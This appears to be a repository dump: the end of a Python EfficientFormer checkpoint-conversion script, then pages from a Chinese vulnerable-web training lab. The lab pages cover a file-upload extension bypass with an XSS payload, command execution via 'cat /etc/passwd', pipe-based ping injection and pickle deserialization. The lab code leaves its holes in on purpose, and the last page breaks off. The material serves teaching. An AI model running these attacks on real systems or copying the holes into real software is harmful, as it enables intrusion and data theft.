checkpoint[rename_key(key, num_meta4D_last_stage)] = val
return checkpoint
# We will verify our results on a COCO image
def prepare_img():
url = "http://images.cocodataset.org/val2017/000000039769.jpg"
image = Image.open(requests.get(url, stream=True).raw)
return image
def convert_efficientformer_checkpoint(
checkpoint_path: Path, efficientformer_config_file: Path, pytorch_dump_path: Path, push_to_hub: bool
):
orig_state_dict = torch.load(checkpoint_path, map_location="cpu")["model"]
config = EfficientFormerConfig.from_json_file(efficientformer_config_file)
model = EfficientFormerForImageClassificationWithTeacher(config)
model_name = "_".join(checkpoint_path.split("/")[-1].split(".")[0].split("_")[:-1])
num_meta4D_last_stage = config.depths[-1] - config.num_meta3d_blocks + 1
new_state_dict = convert_torch_checkpoint(orig_state_dict, num_meta4D_last_stage)
model.load_state_dict(new_state_dict)
model.eval()
pillow_resamplings = {
"bilinear": PILImageResampling.BILINEAR,
"bicubic": PILImageResampling.BICUBIC,
"nearest": PILImageResampling.NEAREST,
}
# prepare image
image = prepare_img()
image_size = 256
crop_size = 224
processor = EfficientFormerImageProcessor(
size={"shortest_edge": image_size},
crop_size={"height": crop_size, "width": crop_size},
resample=pillow_resamplings["bicubic"],
)
pixel_values = processor(images=image, return_tensors="pt").pixel_values
# original processing pipeline
image_transforms = Compose(
[
Resize(image_size, interpolation=pillow_resamplings["bicubic"]),
CenterCrop(crop_size),
ToTensor(),
Normalize(IMAGENET_DEFAULT_MEAN, IMAGENET_DEFAULT_STD),
]
)
original_pixel_values = image_transforms(image).unsqueeze(0)
assert torch.allclose(original_pixel_values, pixel_values)
outputs = model(pixel_values)
logits = outputs.logits
expected_shape = (1, 1000)
if "l1" in model_name:
expected_logits = torch.Tensor(
[-0.1312, 0.4353, -1.0499, -0.5124, 0.4183, -0.6793, -1.3777, -0.0893, -0.7358, -2.4328]
)
assert torch.allclose(logits[0, :10], expected_logits, atol=1e-3)
assert logits.shape == expected_shape
elif "l3" in model_name:
expected_logits = torch.Tensor(
[-1.3150, -1.5456, -1.2556, -0.8496, -0.7127, -0.7897, -0.9728, -0.3052, 0.3751, -0.3127]
)
assert torch.allclose(logits[0, :10], expected_logits, atol=1e-3)
assert logits.shape == expected_shape
elif "l7" in model_name:
expected_logits = torch.Tensor(
[-1.0283, -1.4131, -0.5644, -1.3115, -0.5785, -1.2049, -0.7528, 0.1992, -0.3822, -0.0878]
)
assert logits.shape == expected_shape
else:
raise ValueError(
f"Unknown model checkpoint: {checkpoint_path}. Supported version of efficientformer are l1, l3 and l7"
)
# Save Checkpoints
Path(pytorch_dump_path).mkdir(exist_ok=True)
model.save_pretrained(pytorch_dump_path)
print(f"Checkpoint successfuly converted. Model saved at {pytorch_dump_path}")
processor.save_pretrained(pytorch_dump_path)
print(f"Processor successfuly saved at {pytorch_dump_path}")
if push_to_hub:
print("Pushing model to the hub...")
model.push_to_hub(
repo_id=f"Bearnardd/{pytorch_dump_path}",
commit_message="Add model",
use_temp_dir=True,
)
processor.push_to_hub(
repo_id=f"Bearnardd/{pytorch_dump_path}",
commit_message="Add feature extractor",
use_temp_dir=True,
)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
# Required parameters
parser.add_argument(
"--pytorch_model_path",
default=None,
type=str,
required=True,
help="Path to EfficientFormer pytorch checkpoint.",
)
parser.add_argument(
"--config_file",
default=None,
type=str,
required=True,
help="The json file for EfficientFormer model config.",
)
parser.add_argument(
"--pytorch_dump_path", default=None, type=str, required=True, help="Path to the output PyTorch model."
)
parser.add_argument("--push_to_hub", action="store_true", help="Push model and feature extractor to the hub")
parser.add_argument(
"--no-push_to_hub",
dest="push_to_hub",
action="store_false",
help="Do not push model and feature extractor to the hub",
)
parser.set_defaults(push_to_hub=True)
args = parser.parse_args()
convert_efficientformer_checkpoint(
checkpoint_path=args.pytorch_model_path,
efficientformer_config_file=args.config_file,
pytorch_dump_path=args.pytorch_dump_path,
push_to_hub=args.push_to_hub,
)
|
2740908911/Pilot-Web | 8,768 | pilot-client/pages/upload/client.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>文件上传-前端校验</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>前端校验</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header">
<h3 class="card-title">图片上传</h3>
</div>
<form action="" onsubmit="return false;">
<div class="card-body">
<div class="form-group">
<div class="input-group">
<div class="custom-file">
<input type="file" class="custom-file-input" id="inputFile" onchange="checkFileExt(this.value)">
<label class="custom-file-label" for="inputFile">请选择需要上传的图片</label>
</div>
</div>
</div>
</div>
<div class="card-footer">
<button type="submit" class="btn btn-primary" onclick="uploadImage()">上传</button>
</div>
</form>
</div>
<table class="table table-bordered">
<thead>
<tr>
<th>编号</th>
<th>文件名</th>
<th>上传时间</th>
<th>操作</th>
</tr>
</thead>
<tbody id="FileData">
</tbody>
</table>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>谁说只有前端验证码是掩耳盗铃?</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面,发现只能上传图片;准备一个可造成XSS的HTML文件或PDF文件:</span></p><ul><li><p><span>例如在HTML文件中写入</span><code><img src=1 onerror=alert(1)></code></p></li></ul></li><li><p><span>通过F12找到上传检查的代码,或直接搜索关键词(如png、jpg):</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-1.png" referrerpolicy="no-referrer" alt="l1-1"></div></p></li><li><p><span>可以发现只允许上传固定后缀的文件。将准备好的html文件后缀修改为png,抓包后上传:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-2.png" referrerpolicy="no-referrer" alt="l1-2"></div></p></li><li><p><span>将请求包的</span><code>filename</code><span>参数后缀改回HTML,成功上传:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-3.png" referrerpolicy="no-referrer" alt="l1-3"></div></p></li><li><p><span>访问上后的文件地址,成功进行XSS:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-4.png" referrerpolicy="no-referrer" alt="l1-4"></div></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>在前端页面进行文件上传的限制,后端并未进行过滤等处理,可通过抓包或修改JS的方式绕过:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-1.html" width="100%" height="445px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-1.html" width="100%" height="3130px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("文件上传", ["前端校验"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
function uploadImage() {
var fileInput = document.getElementById('inputFile');
var file = fileInput.files[0];
if (!file) {
$("#notice")[0].innerHTML = generateNote("请先选择文件,再进行上传");
return;
}
var formData = new FormData();
formData.append('file', file);
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/upload/l1/client',
type: 'POST',
data: formData,
contentType: false,
processData: false,
success: function(data) {
$("#notice")[0].innerHTML = generateNote('文件上传成功!');
fetchFilesAndUpdateUI();
},
error: function(xhr, status, error) {
console.error('上传失败:', error);
}
});
}
function deleteFile(hashname) {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/upload/l1/delfile',
type: 'GET',
data: {
file: hashname
},
success: function(response) {
if (response.status === "200") {
$("#notice")[0].innerHTML = generateNote("删除成功!");
fetchFilesAndUpdateUI();
} else {
$("#notice")[0].innerHTML = generateNote("删除失败: " + response.msg);
}
},
error: function(xhr, status, error) {
console.error("请求删除文件失败:", error);
}
});
}
function checkFileExt(filename) {
// 允许上传的文件扩展名列表
var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif)$/i;
var fileInput = document.getElementById('inputFile');
var fileLabel = document.querySelector('label[for="inputFile"]');
if (!allowedExtensions.exec(filename)) {
$("#notice")[0].innerHTML = generateNote('只允许上传图片文件 (.jpg, .jpeg, .png, .gif)');
fileInput.value = '';
fileLabel.textContent = '请选择需要上传的图片';
return false;
} else {
var fileName = filename.split('\\').pop();
fileLabel.textContent = fileName;
return true;
}
}
function fetchFilesAndUpdateUI() {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/upload/l1/getfile',
type: 'GET',
dataType: 'json',
success: function(response) {
if (response.status === "200" && response.msg.length > 0) {
var fileDataHtml = '';
response.msg.forEach(function(file, index) {
fileDataHtml += '<tr>' +
'<td>' + (index + 1) + '</td>' +
'<td>' + file.FILENAME + '</td>' +
'<td>' + file.TIME + '</td>' +
'<td>' +
'<a href="http://{ENV:NET_IP}:{ENV:NGINX_PORT}/pages/upload/' + file.HASHNAME + '" target="_blank" style="color: #53aefd; margin-right: 15px;">下载/预览</a>' +
'<a href="#" style="color: red;" onclick="deleteFile(\'' + file.HASHNAME + '\');">删除</a>' +
'</td>' +
'</tr>';
});
$("#FileData").html(fileDataHtml);
}
},
error: function(xhr, status, error) {
console.error("获取文件列表失败:", error);
}
});
}
fetchFilesAndUpdateUI();
</script>
</body>
</html> |
2740908911/Pilot-Web | 5,147 | pilot-client/pages/rce/rce.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>RCE-命令执行</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>命令执行</strong></h3>
</div>
<div class="card-body">
<div class="card card-secondary" style="margin-left: 60px;margin-right: 60px;">
<div class="card-header">
<h3 class="card-title">服务器进程监控 -- Ubuntu 22.04.3 LTS (GNU/Linux 5.15.90.1-microsoft-standard-WSL2 x86_64)</h3>
</div>
<!-- 模拟shell -->
<div id="shellPanel" style="background-color: #000; color: #fff; font-family: 'Courier New', monospace; height: 300px; overflow-y: auto; white-space: pre;padding-left: 4ch;">
</div>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>这个黑黑的窗口不会是Shell命令行吧?!为什么不能输入!!!</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面,发现服务器进程监控每隔固定时间会刷新。</span></p></li><li><p><span>抓包拦截刷新请求,发现通过Base64编码进行了命令执行,返回了进程信息:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-1.png" referrerpolicy="no-referrer" alt="l1-1"></div></p></li><li><p><span>修改命令为</span><code>cat /etc/passwd</code><span>,读取虚拟机的密码信息:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-2.png" referrerpolicy="no-referrer" alt="l1-2"></div></p></li><li><p><span>成功执行命令。</span></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>一般来说,禁止将用户的传参直接用作命令执行,接收不可信的数据会带来极大的安全风险:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-1.html" width="100%" height="450px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-1.html" width="100%" height="3000px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("RCE远程命令执行", ["命令执行"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
function fetchProcessInfo() {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/rce/l1/getprocess',
type: 'POST',
contentType: 'application/x-www-form-urlencoded',
data: 'command=dG9wIC1iIC1uIDE=',
success: function(response) {
if (response.status === "200") {
$('#shellPanel').text(response.msg);
} else {
$("#notice")[0].innerHTML = generateNote(response.msg);
}
},
error: function(error) {
console.error('Error:', error);
}
});
}
// 每五秒钟刷新一次
setInterval(fetchProcessInfo, 5000);
// 页面加载时立即执行一次
fetchProcessInfo();
</script>
</body>
</html> |
2740908911/Pilot-Web | 2,620 | pilot-client/pages/rce/index.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>RCE-概述</title>
<link rel="stylesheet"
href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>概述</strong></h3>
</div>
<div class="card-body">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>命令执行漏洞是指攻击者通过注入恶意命令来执行非预期的操作,一般发生在使用用户输入构建系统命令或Shell命令的情况下;简单来说就是没有对用户输入的内容充分的验证或过滤,而直接带入到命令执行函数中当成系统化命令被执行。<p>
<p>RCE命令执行漏洞可能会导致以下危害:</p>
<ol>
<li><p>执行任意系统命令,可能导致系统被完全控制。</p></li>
<li><p>敏感信息泄露,如密码、数据库内容等。</p></li>
<li><p>对系统进行拒绝服务(DoS)攻击。</p></li>
<li><p>执行恶意代码,如安装后门、植入恶意软件等,进行APT攻击。</p></li>
</ol>
</div>
</div>
</div>
</div>
</section>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("RCE远程命令执行", ["概述"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
2740908911/Pilot-Web | 5,924 | pilot-client/pages/rce/rce_ping.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>RCE-拼接命令执行</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>拼接命令执行</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary" style="margin-left: 60px;margin-right: 60px;">
<div class="card-header">
<h3 class="card-title">服务器连通测试:PING</h3>
</div>
<form action="" onsubmit="return false;">
<div class="card-body">
<div class="form-group">
<label for="ip">输入IP地址开始测试:</label>
<input type="text" class="form-control" id="ip" placeholder="Enter ip">
</div>
</div>
<div class="card-footer">
<button type="submit" class="btn btn-primary" onclick="doPing()">执行</button>
</div>
</form>
</div>
<div class="card card-secondary" id="shellPanel" style="margin-left: 60px;margin-right: 60px;">
<div class="card-header">
<h3 class="card-title">PING测试 -- Ubuntu 22.04.3 LTS (GNU/Linux 5.15.90.1-microsoft-standard-WSL2 x86_64)</h3>
</div>
<div id="shell" style="background-color: #000; color: #fff; font-family: 'Courier New', monospace; height: 200px; overflow-y: auto; white-space: pre;padding-left: 4ch;">
</div>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>要不咱先进阶一下Linux命令基础!?</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面,抓包并刷入本地回环地址,尝试PING:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-1.png" referrerpolicy="no-referrer" alt="l2-1"></div></p></li><li><p><span>直接返回了PING的结果,考虑直接执行了命令,在地址后对命令进行拼接:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-2.png" referrerpolicy="no-referrer" alt="l2-2"></div></p></li><li><p><span>管道符 | 将前一个命令的输出作为后一个命令的输入进行处理;两个管道符表示前一个命令执行成功则不执行后面的命令,因为ls无需接受输入,所以直接输出了ls的结果。</span></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>一般来说,禁止将用户的传参未进行严格且安全的过滤处理就用作命令执行,接收不可信的数据会带来极大的安全风险:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-2.html" width="100%" height="765px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-1.html" width="100%" height="3000px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("RCE远程命令执行", ["拼接命令执行"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
$('#shellPanel').hide();
function doPing(){
let data = {
ip: $("#ip")[0].value,
}
$.post({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/rce/l2/ping`,
data,
dataType: "json",
success(resp){
if(resp["status"] === "200"){
$("#notice").hide();
$('#shellPanel').show();
$('#shell').text(resp.msg);
} else {
$("#notice")[0].innerHTML = generateNote(resp.msg);
}
},
error: function(jqXHR, textStatus, errorThrown) {
// 添加错误处理
$("#notice")[0].innerHTML = generateNote("发生错误:" + textStatus + ", " + errorThrown);
}
})
}
</script>
</body>
</html> |
2740908911/Pilot-Web | 3,273 | pilot-client/pages/serialize/index.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Python反序列化-概述</title>
<link rel="stylesheet"
href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>概述</strong></h3>
</div>
<div class="card-body">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>不安全的反序列化是指在反序列化过程中存在潜在安全风险的情况,如果序列化的内容可控,在传递给应用进行反序列化时,可能会导致执行恶意代码或触发其他不受控制的行为。</p>
<p>以下是一些常见的不安全反序列化的情况:</p>
<ol>
<li><p>受限制的反序列化:如果反序列化操作没有适当的验证和限制,允许任意的序列化数据被反序列化,攻击者可以构造恶意的序列化数据来执行恶意代码。</p></li>
<li><p>未经过滤的输入:如果反序列化操作接受未经过滤的输入数据,攻击者可以通过构造特定的恶意数据来执行命令或导致不受控制的行为。</p></li>
<li><p>自定义的反序列化逻辑:如果使用自定义的反序列化逻辑而不是使用安全的序列化库或框架,可能会导致安全问题。自定义逻辑可能缺乏必要的安全验证和过滤步骤,从而容易受到攻击。</p></li>
<li><p>恶意的序列化数据:如果攻击者能够在反序列化操作中提供恶意构造的序列化数据,可能会导致命令执行或其他不受控制的行为。</p></li>
</ol>
<p>反序列化漏洞可能会产生以下危害:</p>
<ol>
<li><p>远程代码执行:攻击者可以通过构造恶意序列化数据注入和执行任意代码,从而完全控制目标系统,并执行恶意操作。</p></li>
<li><p>远程命令执行:攻击者可以通过反序列化漏洞在目标系统上执行远程命令,从而对其他系统或网络资源造成进一步的威胁。</p></li>
<li><p>信息泄露:攻击者可以利用反序列化漏洞读取和获取目标系统中的敏感信息,例如数据库凭据、用户密码、加密密钥等。</p></li>
<li><p>拒绝服务(DoS)攻击:攻击者可以发送恶意序列化数据来触发异常或消耗过多的系统资源,导致系统崩溃或无法提供正常的服务。</p></li>
</ol>
</div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("Python反序列化", ["概述"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
2740908911/Pilot-Web | 5,527 | pilot-client/pages/serialize/pickle.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Python反序列化-pickle反序列化</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>pickle反序列化</strong></h3>
</div>
<div class="card-body">
<div class="card card-secondary" style="margin-left: 60px;margin-right: 60px;">
<div class="card-header">
<h3 class="card-title">服务器进程监控 -- Ubuntu 22.04.3 LTS (GNU/Linux 5.15.90.1-microsoft-standard-WSL2 x86_64)</h3>
</div>
<!-- 模拟shell -->
<div id="shellPanel" style="background-color: #000; color: #fff; font-family: 'Courier New', monospace; height: 300px; overflow-y: auto; white-space: pre;padding-left: 4ch;">
</div>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>如果像RCE一样简单解码就好了!但是,好像跟刚才没啥区别??</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面,发现服务器进程监控每隔固定时间会刷新。</span></p></li><li><p><span>抓包拦截刷新请求,发现通过Base64编码进行了命令执行,但无法解码出命令:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-1.png" referrerpolicy="no-referrer" alt="l1-1"></div></p></li><li><p><span>根据格式判断,此处考虑解码后的数据经过Pickle序列化为字节类型,所以写脚本尝试验证:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-2.png" referrerpolicy="no-referrer" alt="l1-2"></div></p></li><li><p><span>成功反序列化出命令。重新写脚本,将需要执行的系统命令序列化并编码:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-3.png" referrerpolicy="no-referrer" alt="l1-3"></div></p></li><li>Python脚本源码下载:<a href="assist/l1-pickle.py" target="_blank">pickle序列化与反序列化脚本</a></li><li><p><span>将生成的字符串编码放入请求包重新执行,成功执行命令:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-4.png" referrerpolicy="no-referrer" alt="l1-4"></div></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>在进行序列化和反序列化的过程中,尽量避免使用从外部接收的不可信数据,否则会带来严重的安全风险:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-1.html" width="100%" height="445px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-1.html" width="100%" height="3430px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("Python反序列化", ["pickle反序列化"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
function fetchProcessInfo() {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/unserialize/l1/pickle',
type: 'POST',
contentType: 'application/x-www-form-urlencoded',
data: 'command=gASVDwAAAAAAAACMC3RvcCAtYiAtbiAxlC4=',
success: function(response) {
if (response.status === "200") {
$('#shellPanel').text(response.msg);
} else {
$("#notice")[0].innerHTML = generateNote(response.msg);
}
},
error: function(error) {
console.error('Error:', error);
}
});
}
